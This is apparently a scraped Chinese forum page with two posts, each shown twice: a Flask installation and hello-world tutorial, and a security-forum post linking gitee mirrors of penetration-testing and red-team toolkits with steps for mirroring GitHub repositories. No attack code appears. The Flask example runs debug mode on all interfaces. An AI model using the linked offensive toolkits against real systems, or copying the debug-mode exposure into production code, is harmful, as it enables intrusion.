Flask 时,以下配套软件会被自动安装。Werkzeug 用于实现 WSGI ,应用和服务之间的标准 Python 接口。Jinja 用于渲染页面的模板语言。MarkupSafe 与 Jinja 共用,在渲染页面时用于避免不可信的输入,防止注入攻击。ItsDangerous 保证数据完整性的安全标志数据,用于保护 Flask 的 session cookie.Click 是一个命令行应用的框架。用于提供 =0.9emflask 命令,并允许添加自定义 管理命令。可选依赖以下配套软件不会被自动安装。如果安装了,那么 Flask 会检测到这些软件。Blinker 为 信号 提供支持。SimpleJSON 是一个快速的 JSON 实现,兼容 Python’s =0.9emjson 模块。如果安装 了这个软件,那么会优先使用这个软件来进行 JSON 操作。python-dotenv 当运行 =0.9emflask 命令时为 通过 dotenv 设置环境变量 提供支持。Watchdog 为开发服务器提供快速高效的重载。
 
二、服务启动
1.新建一个Flask应用(保存文件为hello.py)[size=16]from flask import Flask //导入Flask类

app = Flask(__name__) //创建一个该类的实例
@app.route('/') //使用route()装饰器告诉Flask触发函数的URL
def index():
return "<h1>Hello,World</h1>"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True,threaded=True)[/size] 
2.启动服务在终端里导出 FLASK_APP 环境变量:[size=16]
$ export FLASK_APP=hello.py
$ flask run
* Running on http://127.0.0.1:5000/

如果是在 Windows 下,那么导出环境变量的语法取决于使用的是哪种命令行解释器。
在 Command Prompt 下:
C:\path\to\app>set FLASK_APP=hello.py
在 PowerShell 下:
PS C:\path\to\app> $env:FLASK_APP = "hello.py"
还可以使用 python -m flask:
$ set FLASK_APP=hello.py
$ python -m flask run
* Running on http://127.0.0.1:5000/[/size] 查看全部
一、安装
1.激活虚拟环境(为什么要使用虚拟环境?随着你的 Python 项目越来越多,你会发现不同的项目会需要 不同的版本的 Python 库。同一个 Python 库的不同版本可能不兼容。虚拟环境可以为每一个项目安装独立的 Python 库,这样就可以隔离不同项目之间的 Python 库,也可以隔离项目与操作系统之间的 Python 库。)

  • python3:
创建一个项目文件夹,然后创建一个虚拟环境。创建完成后项目文件夹中会有一个 venv 文件夹:
mkdir myproject
cd myproject
python3 -m venv venv
在Windows下:
py -3 -m venv venv
python2: 如果你使用的是 Python 2 ,那么 venv 模块无法使用。相应的,必须安装 virtualenv.如果是 Mac OS X 或者 Windows ,下载 get-pip.py ,然后:
sudo python2 Downloads/get-pip.pysudo python2 -m pip install virtualenv
在 Windows 下,需要要 administrator 权限:
\Python27\python.exe Downloads\get-pip.py\Python27\python.exe -m pip install virtualenv
安装virtualenv完成之后,继续创建虚拟环境在老版本的 Python 中要使用下面的命令创建虚拟环境:
virtualenv venv
在 Windows 下:
\Python27\Scripts\virtualenv.exe venv
在开始工作前,先要激活相应的虚拟环境:
venv/bin/activate
在windows下:
venv\Scripts\activate
激活后,你的终端提示符会显示虚拟环境的名称。
3.安装Flask在已激活的虚拟环境中可以使用如下命令安装 Flask:
pip install Flask
4.依赖 当安装 Flask 时,以下配套软件会被自动安装。
  • Werkzeug 用于实现 WSGI ,应用和服务之间的标准 Python 接口。
  • Jinja 用于渲染页面的模板语言。
  • MarkupSafe 与 Jinja 共用,在渲染页面时用于避免不可信的输入,防止注入攻击。
  • ItsDangerous 保证数据完整性的安全标志数据,用于保护 Flask 的 session cookie.
  • Click 是一个命令行应用的框架。用于提供 =0.9emflask 命令,并允许添加自定义 管理命令。
可选依赖以下配套软件不会被自动安装。如果安装了,那么 Flask 会检测到这些软件。
 
二、服务启动
1.新建一个Flask应用(保存文件为hello.py)
[size=16]from flask import Flask  //导入Flask类

app = Flask(__name__) //创建一个该类的实例
@app.route('/') //使用route()装饰器告诉Flask触发函数的URL
def index():
return "<h1>Hello,World</h1>"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True,threaded=True)[/size]
 
2.启动服务
在终端里导出 FLASK_APP 环境变量:[size=16]
$ export FLASK_APP=hello.py
$ flask run
* Running on http://127.0.0.1:5000/

如果是在 Windows 下,那么导出环境变量的语法取决于使用的是哪种命令行解释器。
在 Command Prompt 下:
C:\path\to\app>set FLASK_APP=hello.py
在 PowerShell 下:
PS C:\path\to\app> $env:FLASK_APP = "hello.py"
还可以使用 python -m flask:
$ set FLASK_APP=hello.py
$ python -m flask run
* Running on http://127.0.0.1:5000/[/size]

github上一些安全工具的分享

Web安全渗透sq_smile 发表了文章 • 1 个评论 • 169 次浏览 • 2019-05-07 11:26 • 来自相关话题

0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    
需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。




        3、 在开源中国的码云上边,导入github上你fork的项目。









然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:




 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
  查看全部
0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    

需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。
Fork.png

        3、 在开源中国的码云上边,导入github上你fork的项目。
1.png


2.png

然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:
3.png

 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!